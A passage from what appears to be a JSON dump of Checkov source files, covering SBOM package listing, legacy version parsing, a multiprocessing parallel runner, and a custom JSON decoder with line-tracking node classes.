SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME:\n                    continue\n                package = self.create_package(check)\n                self.add_new_package_to_list(package)\n\n            for resource in sorted(report.extra_resources):\n                package = self.create_package(resource)\n                self.add_new_package_to_list(package)\n\n        if self.packages:\n            self.document.packages = self.packages\n\n    def add_new_package_to_list(self, package: Package) -> None:\n        \"\"\"Adds a package to the list, if it not exists\"\"\"\n\n        package_cache_entry = f\"{package.file_name}#{package.name}#{package.version}\"\n        if package_cache_entry not in self._added_packages_cache:\n            self.packages.append(package)\n            self._added_packages_cache.add(package_cache_entry)\n"
  },
  {
    "path": "checkov/common/packaging/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/packaging/version.py",
    "content": "# This file is dual licensed under the terms of the Apache License, Version\n# 2.0, and the BSD License. See the LICENSE file in the root of this repository\n# for complete details.\n\n#  Partial copy of https://github.com/pypa/packaging/blob/21.3/packaging/version.py\n\nfrom __future__ import annotations\n\nimport re\nfrom typing import Iterator, TYPE_CHECKING\n\nfrom packaging import version as packaging_version\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeAlias\n\nLegacyCmpKey: TypeAlias = \"tuple[int, tuple[str, ...]]\"\nVersion = packaging_version.Version\n\n\ndef parse(version: str) -> packaging_version.Version | LegacyVersion:\n    \"\"\"\n    Parse the given version string and return either a :class:`Version` object\n    or a :class:`LegacyVersion` object depending on if the given version is\n    a valid PEP 440 version or a legacy version.\n    \"\"\"\n    try:\n        return packaging_version.Version(version)\n    except packaging_version.InvalidVersion:\n        return LegacyVersion(version)\n\n\nclass LegacyVersion(packaging_version._BaseVersion):\n    def __init__(self, version: str) -> None:\n        self._version = str(version)\n        self._key = _legacy_cmpkey(self._version)\n\n    def __str__(self) -> str:\n        return self._version\n\n    def __repr__(self) -> str:\n        return f\"<LegacyVersion('{self}')>\"\n\n    @property\n    def public(self) -> str:\n        return self._version\n\n    @property\n    def base_version(self) -> str:\n        return self._version\n\n    @property\n    def epoch(self) -> int:\n        return -1\n\n    @property\n    def release(self) -> None:\n        return None\n\n    @property\n    def pre(self) -> None:\n        return None\n\n    @property\n    def post(self) -> None:\n        return None\n\n    @property\n    def dev(self) -> None:\n        return None\n\n    @property\n    def local(self) -> None:\n        return None\n\n    @property\n    def is_prerelease(self) -> bool:\n        return False\n\n    @property\n    def is_postrelease(self) -> bool:\n        return False\n\n    @property\n    def is_devrelease(self) -> bool:\n        return False\n\n\n_legacy_version_component_re = re.compile(r\"(\\d+ | [a-z]+ | \\.| -)\", re.VERBOSE | re.IGNORECASE)\n\n_legacy_version_replacement_map = {\n    \"pre\": \"c\",\n    \"preview\": \"c\",\n    \"-\": \"final-\",\n    \"rc\": \"c\",\n    \"dev\": \"@\",\n}\n\n\ndef _parse_version_parts(s: str) -> Iterator[str]:\n    for part in _legacy_version_component_re.split(s):\n        part = _legacy_version_replacement_map.get(part, part)\n\n        if not part or part == \".\":\n            continue\n\n        if part[:1] in \"0123456789\":\n            # pad for numeric comparison\n            yield part.zfill(8)\n        else:\n            yield \"*\" + part\n\n    # ensure that alpha/beta/candidate are before final\n    yield \"*final\"\n\n\ndef _legacy_cmpkey(version: str) -> LegacyCmpKey:\n\n    # We hardcode an epoch of -1 here. A PEP 440 version can only have a epoch\n    # greater than or equal to 0. This will effectively put the LegacyVersion,\n    # which uses the defacto standard originally implemented by setuptools,\n    # as before all PEP 440 versions.\n    epoch = -1\n\n    # This scheme is taken from pkg_resources.parse_version setuptools prior to\n    # it's adoption of the packaging library.\n    parts: list[str] = []\n    for part in _parse_version_parts(version.lower()):\n        if part.startswith(\"*\"):\n            # remove \"-\" before a prerelease tag\n            if part < \"*final\":\n                while parts and parts[-1] == \"*final-\":\n                    parts.pop()\n\n            # remove trailing zeros from each series of numeric parts\n            while parts and parts[-1] == \"00000000\":\n                parts.pop()\n\n        parts.append(part)\n\n    return epoch, tuple(parts)\n"
  },
  {
    "path": "checkov/common/parallelizer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/parallelizer/parallel_runner.py",
    "content": "from __future__ import annotations\n\nimport concurrent.futures\nimport logging\nimport multiprocessing\nimport os\nimport platform\nfrom collections.abc import Iterator, Iterable\nfrom multiprocessing.pool import Pool\nfrom typing import Any, List, Generator, Callable, Optional, TypeVar, TYPE_CHECKING\n\nfrom checkov.common.models.enums import ParallelizationType\n\nif TYPE_CHECKING:\n    from multiprocessing.connection import Connection\n\n_T = TypeVar(\"_T\")\n\n\nclass ParallelRunException(Exception):\n    def __init__(self, internal_exception: Exception) -> None:\n        self.internal_exception = internal_exception\n        super().__init__(internal_exception)\n\n\nclass ParallelRunner:\n    def __init__(\n        self, workers_number: int | None = None,\n        parallelization_type: ParallelizationType = ParallelizationType.FORK\n    ) -> None:\n        env_workers = os.getenv(\"CHECKOV_WORKERS_NUMBER\")\n        if env_workers:\n            try:\n                workers_number = int(env_workers)\n            except ValueError:\n                logging.warning(f\"Invalid CHECKOV_WORKERS_NUMBER value: {env_workers}, using default\")\n\n        self.workers_number = (workers_number if workers_number else os.cpu_count()) or 1\n        logging.debug(\"Workers count for the parallel runner is: %s\", self.workers_number)\n        self.os = platform.system()\n        self.type: str | ParallelizationType = parallelization_type\n        custom_type = os.getenv(\"CHECKOV_PARALLELIZATION_TYPE\")\n        if custom_type:\n            self.type = custom_type\n        elif os.getenv(\"PYCHARM_HOSTED\") == \"1\":\n            # PYCHARM_HOSTED env variable equals 1 when debugging via jetbrains IDE.\n            # To prevent JetBrains IDE from crashing on debug run sequentially\n            self.type = ParallelizationType.NONE\n        elif self.os == \"Windows\" or self.os == \"Darwin\":\n            if self.type in [ParallelizationType.FORK, ParallelizationType.SPAWN]:\n                # 'fork' mode is not supported on 'Windows', and has security issues on macOS\n                # 'spawn' mode currently is not supported due to its memory erasure for each new process, which conflicts with the child processes' need for the parent's memory.\"\n                self.type = ParallelizationType.THREAD\n        # future support - spawn is not working well with frozen mode, need to investigate multiprocessing.freeze_support()\n\n    def running_as_process(self) -> bool:\n        return self.type in [ParallelizationType.FORK, ParallelizationType.SPAWN]\n\n    def run_function(\n        self,\n        func: Callable[..., _T],\n        items: List[Any],\n        group_size: Optional[int] = None,\n    ) -> Iterable[_T]:\n        if self.type == ParallelizationType.THREAD:\n            return self._run_function_multithreaded(func, items)\n        elif self.type == ParallelizationType.FORK:\n            return self._run_function_multiprocess_fork(func, items, group_size)\n        elif self.type == ParallelizationType.SPAWN:\n            return self._run_function_multiprocess_spawn(func, items, group_size)\n        else:\n            return self._run_function_sequential(func, items)\n\n    def _run_function_multiprocess_fork(\n        self, func: Callable[[Any], _T], items: List[Any], group_size: Optional[int]\n    ) -> Generator[_T, None, None]:\n        if not group_size:\n            group_size = int(len(items) / self.workers_number) + 1\n        groups_of_items = [items[i: i + group_size] for i in range(0, len(items), group_size)]\n\n        def func_wrapper(original_func: Callable[[Any], _T], items_group: List[Any], connection: Connection) -> None:\n            for item in items_group:\n                try:\n                    if isinstance(item, tuple):\n                        # unpack a tuple to pass multiple arguments to the target function\n                        result = original_func(*item)\n                    else:\n                        result = original_func(item)\n\n                    connection.send(result)\n                except Exception as e:\n                    logging.error(\n                        f\"Failed to invoke function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with {item}\",\n                        exc_info=True,\n                    )\n                    connection.send(ParallelRunException(e))\n\n            connection.close()\n\n        logging.debug(\n            f\"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'fork'\"\n        )\n        processes = []\n        for group_of_items in groups_of_items:\n            parent_conn, child_conn = multiprocessing.Pipe(duplex=False)\n            process = multiprocessing.get_context(\"fork\").Process(\n                target=func_wrapper, args=(func, group_of_items, child_conn)\n            )\n            processes.append((process, parent_conn, len(group_of_items)))\n            process.start()\n\n        for _, parent_conn, group_len in processes:\n            for _ in range(group_len):\n                try:\n                    v = parent_conn.recv()\n\n                    if isinstance(v, ParallelRunException):\n                        raise v.internal_exception.with_traceback(v.internal_exception.__traceback__)\n\n                    yield v\n                except EOFError:\n                    pass\n\n    def _run_function_multiprocess_spawn(\n        self, func: Callable[[Any], _T], items: list[Any], group_size: int | None\n    ) -> Iterable[_T]:\n        if multiprocessing.current_process().daemon:\n            # can't create a new pool, when already inside a pool\n            return self._run_function_multithreaded(func, items)\n\n        if not group_size:\n            group_size = int(len(items) / self.workers_number) + 1\n\n        logging.debug(\n            f\"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'spawn'\"\n        )\n        with Pool(processes=self.workers_number, context=multiprocessing.get_context(\"spawn\")) as p:\n            if items and isinstance(items[0], tuple):\n                # need to use 'starmap' to pass multiple arguments to the target function\n                return p.starmap(func, items, chunksize=group_size)\n\n            return p.map(func, items, chunksize=group_size)\n\n    def _run_function_multithreaded(self, func: Callable[[Any], _T], items: List[Any]) -> Iterator[_T]:\n        logging.debug(\n            f\"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'thread'\"\n        )\n        with concurrent.futures.ThreadPoolExecutor(max_workers=self.workers_number) as executor:\n            if items and isinstance(items[0], tuple):\n                # split a list of tuple into tuples of the positioned values of the tuple\n                return executor.map(func, *list(\n                    zip(*items)))  # noqa[B905]  # no need to set 'strict' otherwise 'mypy' complains\n\n            return executor.map(func, items)\n\n    def _run_function_sequential(self, func: Callable[[Any], _T], items: List[Any]) -> Iterator[_T]:\n        logging.debug(\n            f\"Running function {func.__code__.co_filename.replace('.py', '')}.{func.__name__} with parallelization type 'none'\"\n        )\n        if items and isinstance(items[0], tuple):\n            # unpack a tuple to pass multiple arguments to the target function\n            return (func(*item) for item in items)\n\n        return (func(item) for item in items)\n\n\nparallel_runner = ParallelRunner()\n"
  },
  {
    "path": "checkov/common/parsers/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/parsers/json/__init__.py",
    "content": "\"\"\"\nCopyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\nSPDX-License-Identifier: MIT-0\n\"\"\"\nfrom __future__ import annotations\n\nimport json\nimport logging\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.parsers.json.decoder import Decoder\nfrom checkov.common.parsers.json.errors import DecodeError\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\ndef load(\n    filename: str | Path, allow_nulls: bool = True, content: str | None = None\n) -> tuple[dict[str, Any], list[tuple[int, str]]]:\n    \"\"\"\n    Load the given JSON file\n    \"\"\"\n\n    if not content:\n        content = read_file_with_any_encoding(file_path=filename)\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    return json.loads(content, cls=Decoder, allow_nulls=allow_nulls), file_lines\n\n\ndef parse(\n    filename: str | Path,\n    allow_nulls: bool = True,\n    out_parsing_errors: dict[str, str] | None = None,\n    file_content: str | None = None,\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n    error: Exception | None = None\n    try:\n        return load(filename=filename, allow_nulls=allow_nulls, content=file_content)\n    except DecodeError as e:\n        logging.debug(f\"Got DecodeError parsing file {filename}\", exc_info=True)\n        error = e\n    except json.JSONDecodeError as e:\n        # Most parsing errors will get caught by the exception above. But, if the file\n        # is totally empty, and perhaps in other specific cases, the json library will\n        # not even begin parsing with our custom logic that throws the exception above,\n        # and will fail with this exception instead.\n        logging.debug(f\"Got JSONDecodeError parsing file {filename}\", exc_info=True)\n        error = e\n    except UnicodeDecodeError as e:\n        logging.debug(f\"Got UnicodeDecodeError parsing file {filename}\", exc_info=True)\n        error = e\n\n    if error:\n        if out_parsing_errors is None:\n            out_parsing_errors = {}\n        out_parsing_errors[str(filename)] = str(error)\n\n    return None\n"
  },
  {
    "path": "checkov/common/parsers/json/decoder.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections.abc import Sequence\nfrom json import JSONDecoder\nfrom json.decoder import WHITESPACE, WHITESPACE_STR, BACKSLASH, STRINGCHUNK, JSONArray  # type:ignore  # they are not explicitly exported\nfrom typing import Any, Callable, Pattern, Match\n\nfrom json.scanner import NUMBER_RE  # is not explicitly exported\n\nfrom checkov.common.parsers.node import StrNode, DictNode, ListNode\nfrom checkov.common.parsers.json.errors import NullError, DuplicateError, DecodeError\n\n\nclass SimpleDecoder(JSONDecoder):\n    def __init__(\n        self,\n        *,\n        object_hook: Callable[[dict[str, Any]], Any] | None = None,\n        parse_float: Callable[[str], Any] | None = None,\n        parse_int: Callable[[str], Any] | None = None,\n        parse_constant: Callable[[str], Any] | None = None,\n        strict: bool = True,\n        object_pairs_hook: Callable[[list[tuple[str, Any]]], Any] | None = None,\n    ) -> None:\n        super().__init__(\n            object_hook=self.object_hook,\n            parse_float=parse_float,\n            parse_int=parse_int,\n            parse_constant=parse_constant,\n            strict=strict,\n            object_pairs_hook=object_pairs_hook,\n        )\n\n    def object_hook(self, obj: dict[str, Any]) -> Any:\n        obj[\"start_line\"] = 0\n        obj[\"end_line\"] = 0\n        return obj\n\n\nclass Mark:\n    \"\"\"Mark of line and column\"\"\"\n    __slots__ = (\"column\", \"line\")\n\n    def __init__(self, line: int, column: int) -> None:\n        self.line = line\n        self.column = column\n\n\n# pylint: disable=W0102\n# Exception based on builtin Python Function\ndef py_scanstring(\n    s: str,\n    end: int,\n    strict: bool = True,\n    _b: dict[str, str] = BACKSLASH,\n    _m: Callable[[str | Pattern[str], int], Match[str]] = STRINGCHUNK.match\n) -> tuple[str, int]:\n    \"\"\"Scan the string s for a JSON string. End is the index of the\n    character in s after the quote that started the JSON string.\n    Unescapes all valid JSON string escape sequences and raises ValueError\n    on attempt to decode an invalid string. If strict is False then literal\n    control characters are allowed in the string.\n    Returns a tuple of the decoded string and the index of the character in s\n    after the end quote.\"\"\"\n    chunks: list[str] = []\n    _append = chunks.append\n    begin = end - 1\n    while 1:\n        chunk = _m(s, end)\n        if chunk is None:\n            raise DecodeError('Unterminated string starting at', s, begin)\n        end = chunk.end()\n        content, terminator = chunk.groups()\n        # Content is contains zero or more unescaped string characters\n        if content:\n            _append(content)\n        # Terminator is the end of string, a literal control character,\n        # or a backslash denoting that an escape sequence follows\n        if terminator == '\"':\n            break\n        if terminator != '\\\\':\n            if strict:\n                msg = 'Invalid control character {0!r} at'.format(terminator)\n                raise DecodeError(msg, s, end)\n            _append(terminator)\n            continue\n        try:\n            esc = s[end]\n        except IndexError as err:\n            raise DecodeError('Unterminated string starting at', s, begin) from err\n        # If not a unicode escape sequence, must be in the lookup table\n        if esc != 'u':\n            try:\n                char = _b[esc]\n            except KeyError as err:\n                msg = 'Invalid \\\\escape: {0!r}'.format(esc)\n                raise DecodeError(msg, s, end) from err\n            end += 1\n        else:\n            uni = _decode_uXXXX(s, end)\n            end += 5\n            if 0xd800 <= uni <= 0xdbff and s[end:end + 2] == '\\\\u':\n                uni2 = _decode_uXXXX(s, end + 1)\n                if 0xdc00 <= uni2 <= 0xdfff:\n                    uni = 0x10000 + (((uni - 0xd800) << 10) | (uni2 - 0xdc00))\n                    end += 6\n            char = chr(uni)\n        _append(char)\n    return ''.join(chunks), end\n\n\ndef _decode_uXXXX(s: str, pos: int) -> int:\n    esc = s[pos + 1:pos + 5]\n    if len(esc) == 4 and esc[1] not in 'xX':\n        try:\n            return int(esc, 16)\n        except ValueError:\n            pass\n    msg = 'Invalid \\\\uXXXX escape'\n    raise DecodeError(msg, s, pos)\n\n\ndef py_make_scanner(context: Decoder) -> Callable[[str, int], tuple[Any, int]]:\n    \"\"\"\n        Make python based scanner\n        For this use case we will not use the C based scanner\n    \"\"\"\n    parse_object = context.parse_object\n    parse_array = context.parse_array\n    parse_string = context.parse_string\n    match_number = NUMBER_RE.match\n    strict = context.strict\n    parse_float = context.parse_float\n    parse_int = context.parse_int\n    parse_constant = context.parse_constant\n    object_hook = context.object_hook\n    object_pairs_hook = context.object_pairs_hook\n    memo = context.memo\n\n    # pylint: disable=R0911\n    # Based on Python standard function\n    def _scan_once(string: str, idx: int) -> tuple[Any, int]:\n        \"\"\" Scan once internal function \"\"\"\n        try:\n            nextchar = string[idx]\n        except IndexError as err:\n            raise StopIteration(idx) from err\n\n        try:\n            nextchar_plus_1 = string[idx + 1]\n        except IndexError:\n            nextchar_plus_1 = None\n        try:\n            nextchar_plus_2 = string[idx + 2]\n        except IndexError:\n            nextchar_plus_2 = None\n\n        if nextchar == '\"' and (nextchar_plus_1 != '\"' or nextchar_plus_2 != '\"'):\n            return parse_string(string, idx + 1, strict)\n        if nextchar == '\"' and nextchar_plus_1 == '\"' and nextchar_plus_2 == '\"':\n            result, end = parse_string(string, idx + 3, strict)\n            return result, end + 2\n        if nextchar == '{':\n            return parse_object(\n                (string, idx + 1), strict,\n                scan_once, object_hook, object_pairs_hook, memo)  # type:ignore[arg-type]  # mypy bug\n        if nextchar == '[':\n            return parse_array((string, idx + 1), _scan_once)\n        if nextchar == 'n' and string[idx:idx + 4] == 'null':\n            return None, idx + 4\n        if nextchar == 't' and string[idx:idx + 4] == 'true':\n            return True, idx + 4\n        if nextchar == 'f' and string[idx:idx + 5] == 'false':\n            return False, idx + 5\n\n        m = match_number(string, idx)\n        if m is not None:\n            integer, frac, exp = m.groups()\n            if frac or exp:\n                res = parse_float(integer + (frac or '') + (exp or ''))\n            else:\n                res = parse_int(integer)\n            return res, m.end()\n        if nextchar == 'N' and string[idx:idx + 3] == 'NaN':\n            return parse_constant('NaN'), idx + 3\n        if nextchar == 'I' and string[idx:idx + 8] == 'Infinity':\n            return parse_constant('Infinity'), idx + 8\n        if nextchar == '-' and string[idx:idx + 9] == '-Infinity':\n            return parse_constant('-Infinity'), idx + 9\n\n        raise StopIteration(idx)\n\n    def scan_once(string: str, idx: int) -> tuple[Any, int]:\n        \"\"\" Scan Once\"\"\"\n        try:\n            return _scan_once(string, idx)\n        finally:\n            memo.clear()\n\n    return _scan_once\n\n\ndef find_indexes(s: str, ch: str = \"\\n\") -> list[int]:\n    \"\"\"Finds all instances of given char and returns list of indexes \"\"\"\n    return [i for i, ltr in enumerate(s) if ltr == ch]\n\n\ndef count_occurrences(arr: Sequence[int], key: int) -> int:\n    \"\"\"Binary search indexes to replace str.count \"\"\"\n    n = len(arr)\n    left = 0\n    right = n - 1\n    count = 0\n\n    while (left <= right):\n        mid = int((right + left) / 2)\n\n        if (arr[mid] <= key):\n            count = mid + 1\n            left = mid + 1\n        else:\n            right = mid - 1\n    return count\n\n\ndef largest_less_than(indexes: list[int], line_num: int, pos: int) -> int:\n    \"\"\"Replacement func for python str.rfind using indexes \"\"\"\n    return indexes[line_num - 1] if indexes and count_occurrences(indexes, pos) else -1\n\n\ndef get_beg_end_mark(s: str, start: int, end: int, indexes: list[int]) -> tuple[Mark, Mark]:\n    \"\"\"Get the Start and End Mark \"\"\"\n    beg_lineno = count_occurrences(indexes, start)\n    beg_colno = start - largest_less_than(indexes, beg_lineno, start)\n    beg_mark = Mark(beg_lineno, beg_colno)\n\n    offset = 1 if len(indexes) > 1 else 0\n    end_lineno = count_occurrences(indexes, end) - offset\n    end_colno = end - largest_less_than(indexes, end_lineno, end)\n    end_mark = Mark(end_lineno, end_colno)\n\n    return beg_mark, end_mark\n\n\nclass Decoder(JSONDecoder):\n    \"\"\"\n    Converts a json string, where datetime and timedelta objects were converted\n    into strings using the DateTimeAwareJSONEncoder, into a python object.\n    \"\"\"\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        self.allow_nulls = kwargs.pop(\"allow_nulls\", True)\n        JSONDecoder.__init__(self, *args, **kwargs)\n        self.parse_object = self.json_object\n        self.parse_array = self.json_array\n        self.parse_string = py_scanstring\n        self.memo: dict[str, str] = {}\n        setattr(self, \"object_pairs_hook\", self.check_duplicates)  # noqa: B010  # it is method assignment\n        self.scan_once = py_make_scanner(self)\n        self.newline_indexes: list[int] = []\n\n    def decode(self, s: str, _w: Callable[..., Any] | None = None) -> Any:\n        \"\"\"Overridden to retrieve indexes \"\"\"\n        self.newline_indexes = find_indexes(s)\n        obj = super().decode(s)\n        return obj\n\n    def json_array(\n        self, s_and_end: tuple[str, int], scan_once: Callable[[str, int], tuple[Any, int]], **kwargs: Any\n    ) -> tuple[ListNode, int]:\n        \"\"\" Convert JSON array to be a list_node object \"\"\"\n        values, end = JSONArray(s_and_end, scan_once, **kwargs)\n        s, start = s_and_end\n        beg_mark, end_mark = get_beg_end_mark(s, start, end, self.newline_indexes)\n        return ListNode(values, beg_mark, end_mark), end\n\n    def json_object(\n        self,\n        s_and_end: tuple[str, int],\n        strict: bool,\n        scan_once: Callable[[str, int], tuple[Any, int]],\n        object_hook: Callable[[dict[str, Any], Mark, Mark], Any],\n        object_pairs_hook: Callable[[list[tuple[str, Any]], Mark, Mark], Any],\n        memo: dict[str, str] | None = None,\n        _w: Callable[[str | Pattern[str], int], Match[str]] = WHITESPACE.match,\n        _ws: str = WHITESPACE_STR,\n    ) -> tuple[DictNode, int]:\n        \"\"\" Custom Cfn JSON Object to store keys with start and end times \"\"\"\n        s, end = s_and_end\n        orginal_end = end\n        pairs = []  # type:ignore[var-annotated]  # overload var, don't bother fixing the type\n        pairs_append = pairs.append\n        # Backwards compatibility\n        if memo is None:\n            memo = {}\n        memo_get = memo.setdefault\n        # Use a slice to prevent IndexError from being raised, the following\n        # check will raise a more specific ValueError if the string is empty\n        nextchar = s[end:end + 1]\n        # Normally we expect nextchar == '\"'\n        if nextchar != '\"':\n            if nextchar in _ws:\n                end = _w(s, end).end()\n                nextchar = s[end:end + 1]\n            # Trivial empty object\n            if nextchar == '}':\n                if object_pairs_hook is not None:\n                    try:\n                        beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end + 1, self.newline_indexes)\n                        result = object_pairs_hook(pairs, beg_mark, end_mark)\n                        return result, end + 1\n                    except DuplicateError as err:\n                        raise DecodeError('Duplicate found', s, end) from err\n                    except NullError as err:\n                        raise DecodeError('Null Error', s, end) from err\n                pairs = {}\n                if object_hook is not None:\n                    beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end + 1, self.newline_indexes)\n                    pairs = object_hook(pairs, beg_mark, end_mark)\n                return pairs, end + 1\n\n            if nextchar != '\"':\n                raise DecodeError('Expecting property name enclosed in double quotes', s, end)\n        end += 1\n        while True:\n            begin = end - 1\n            key, end = py_scanstring(s, end, strict)\n            # print(lineno, colno, obj)\n            # print(key, lineno, colno)\n            key = memo_get(key, key)\n            # To skip some function call overhead we optimize the fast paths where\n            # the JSON key separator is \": \" or just \":\".\n            if s[end:end + 1] != ':':\n                end = _w(s, end).end()\n                if s[end:end + 1] != ':':\n                    raise DecodeError('Expecting \\':\\' delimiter', s, end)\n            end += 1\n\n            try:\n                if s[end] in _ws:\n                    end += 1\n                    if s[end] in _ws:\n                        end = _w(s, end + 1).end()\n            except IndexError:\n                pass\n\n            beg_mark, end_mark = get_beg_end_mark(s, begin, begin + len(key), self.newline_indexes)\n            try:\n                value, end = scan_once(s, end)\n            except StopIteration as err:\n                logging.debug(\"Failed to scan string\", exc_info=True)\n                raise DecodeError('Expecting value', s, end_mark.line) from err\n            key_str = StrNode(key, beg_mark, end_mark)\n            pairs_append((key_str, value))\n            try:\n                nextchar = s[end]\n                if nextchar in _ws:\n                    end = _w(s, end + 1).end()\n                    nextchar = s[end]\n            except IndexError:\n                nextchar = ''\n            end += 1\n\n            if nextchar == '}':\n                break\n            if nextchar != ',':\n                raise DecodeError('Expecting \\',\\' delimiter', s, end - 1)\n            end = _w(s, end).end()\n            nextchar = s[end:end + 1]\n            end += 1\n            if nextchar != '\"':\n                raise DecodeError(\n                    'Expecting property name enclosed in double quotes', s, end - 1)\n        if object_pairs_hook is not None:\n            try:\n                beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end, self.newline_indexes)\n                result = object_pairs_hook(pairs, beg_mark, end_mark)\n            except DuplicateError as err:\n                raise DecodeError('Duplicate found', s, begin, key) from err\n            except NullError as err:\n                raise DecodeError('Null Error', s, begin, key) from err\n            return result, end\n\n        pairs = dict(pairs)\n        if object_hook is not None:\n            beg_mark, end_mark = get_beg_end_mark(s, orginal_end, end, self.newline_indexes)\n            pairs = object_hook(pairs, beg_mark, end_mark)\n        return pairs, end\n\n    def check_duplicates(self, ordered_pairs: list[tuple[str, Any]], beg_mark: Mark, end_mark: Mark) -> DictNode:\n        \"\"\"\n            Check for duplicate keys on the current level, this is not desirable\n            because a dict does not support this. It overwrites it with the last\n            occurrence, which can give unexpected results\n        \"\"\"\n        mapping = DictNode({}, beg_mark, end_mark)\n        for key, value in ordered_pairs:\n            if not self.allow_nulls and value is None:\n                raise NullError('\"{}\"'.format(key))\n            if key in mapping:\n                raise DuplicateError('\"{}\"'.format(key))\n            mapping[key] = value\n        return mapping\n"
  },
  {
    "path": "checkov/common/parsers/json/errors.py",
    "content": "from __future__ import annotations\n\nfrom typing import Type\n\n\nclass DuplicateError(Exception):\n    \"\"\"\n    Error thrown when the template contains duplicates\n    \"\"\"\n\n\nclass NullError(Exception):\n    \"\"\"\n    Error thrown when the template contains Nulls\n    \"\"\"\n\n\nclass DecodeError(ValueError):\n    \"\"\"Subclass of ValueError with the following additional properties:\n    msg: The unformatted error message\n    doc: The JSON document being parsed\n    pos: The start index of doc where parsing failed\n    lineno: The line corresponding to pos\n    colno: The column corresponding to pos\n    \"\"\"\n\n    # Note that this exception is used from _json\n\n    def __init__(self, msg: str, doc: str, pos: int, _key: str = \" \") -> None:\n        lineno = doc.count(\"\\n\", 0, pos) + 1\n        colno = pos - doc.rfind(\"\\n\", 0, pos)\n        errmsg = \"%s: line %d column %d (char %d)\" % (msg, lineno, colno, pos)\n        ValueError.__init__(self, errmsg)\n        self.msg = msg\n        self.doc = doc\n        self.pos = pos\n        self.lineno = lineno\n        self.colno = colno\n\n    def __reduce__(self) -> tuple[Type[DecodeError], tuple[str, str, int]]:\n        return self.__class__, (self.msg, self.doc, self.pos)\n"
  },
  {
    "path": "checkov/common/parsers/node.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom copy import deepcopy\nfrom typing import TYPE_CHECKING, Any, Type, Generator\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nif TYPE_CHECKING:\n    from checkov.common.parsers.json.decoder import Mark\n\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\nclass TemplateAttributeError(AttributeError):\n    \"\"\" Custom error to capture Attribute Errors in the Template \"\"\"\n\n\nclass StrNode(str):\n    \"\"\"Node class created based on the input class\"\"\"\n\n    def __init__(self, x: str, start_mark: Mark | Any, end_mark: Mark | Any) -> None:\n        try:\n            super().__init__(x)  # type:ignore[call-arg]\n        except TypeError:\n            super().__init__()\n        self.start_mark = start_mark\n        self.end_mark = end_mark\n\n    # pylint: disable=bad-classmethod-argument, unused-argument\n    def __new__(cls, x: str, start_mark: Mark | None = None, end_mark: Mark | None = None) -> StrNode:\n        return str.__new__(cls, x)\n\n    def __getattr__(self, name: str) -> Any:\n        raise TemplateAttributeError(f'{name} is invalid')\n\n    def __deepcopy__(self, memo: dict[int, Any]) -> StrNode:\n        result = StrNode(self, self.start_mark, self.end_mark)\n        memo[id(self)] = result\n        return result\n\n    def __copy__(self) -> StrNode:\n        return self\n\n\nclass DictNode(dict):  # type:ignore[type-arg]  # either typing works or runtime, but not both\n    \"\"\"Node class created based on the input class\"\"\"\n\n    def __init__(self, x: dict[str, Any], start_mark: Mark | Any, end_mark: Mark | Any):\n        try:\n            super().__init__(x)\n        except TypeError:\n            super().__init__()\n        self.start_mark = start_mark\n        self.end_mark = end_mark\n        self.condition_functions = ['Fn::If']\n\n    def __deepcopy__(self, memo: dict[int, Any]) -> DictNode:\n        result = DictNode(self, self.start_mark, self.end_mark)\n        memo[id(self)] = result\n        for k, v in self.items():\n            result[deepcopy(k)] = deepcopy(v, memo)\n\n        return result\n\n    def __copy__(self) -> DictNode:\n        return self\n\n    def is_function_returning_object(self, _mappings: Any = None) -> bool:\n        \"\"\"\n            Check if an object is using a function that could return an object\n            Return True when\n                Fn::Select:\n                - 0  # or any number\n                - !FindInMap [mapname, key, value] # or any mapname, key, value\n            Otherwise False\n        \"\"\"\n        if len(self) == 1:\n            for k, v in self.items():\n                if k in ['Fn::Select']:\n                    if isinstance(v, list):\n                        if len(v) == 2:\n                            p_v = v[1]\n                            if isinstance(p_v, dict):\n                                if len(p_v) == 1:\n                                    for l_k in p_v.keys():\n                                        if l_k == 'Fn::FindInMap':\n                                            return True\n\n        return False\n\n    def get(self, key: str, default: Any = None) -> Any:\n        \"\"\" Override the default get \"\"\"\n        if isinstance(default, dict):\n            default = DictNode(default, self.start_mark, self.end_mark)\n        return super().get(key, default)\n\n    def get_safe(\n        self, key: str, default: Any = None, path: list[str] | None = None, type_t: Type[tuple[Any, ...]] = tuple\n    ) -> list[tuple[tuple[Any, ...], list[str]]]:\n        \"\"\"Get values in format\"\"\"\n\n        path = path or []\n        value = self.get(key, default)\n        if not isinstance(value, dict):\n            if isinstance(value, type_t) or not type_t:\n                return [(value, (path[:] + [key]))]\n\n        results = []\n        for sub_v, sub_path in value.items_safe(path + [key]):\n            if isinstance(sub_v, type_t) or not type_t:\n                results.append((sub_v, sub_path))\n\n        return results\n\n    def items_safe(\n        self, path: list[int | str] | None = None, type_t: Type[tuple[Any, ...]] = tuple\n    ) -> Generator[tuple[Any, ...], Any, None]:\n        \"\"\"Get items while handling IFs\"\"\"\n\n        path = path or []\n        if len(self) == 1:\n            for k, v in self.items():\n                if k == 'Fn::If':\n                    if 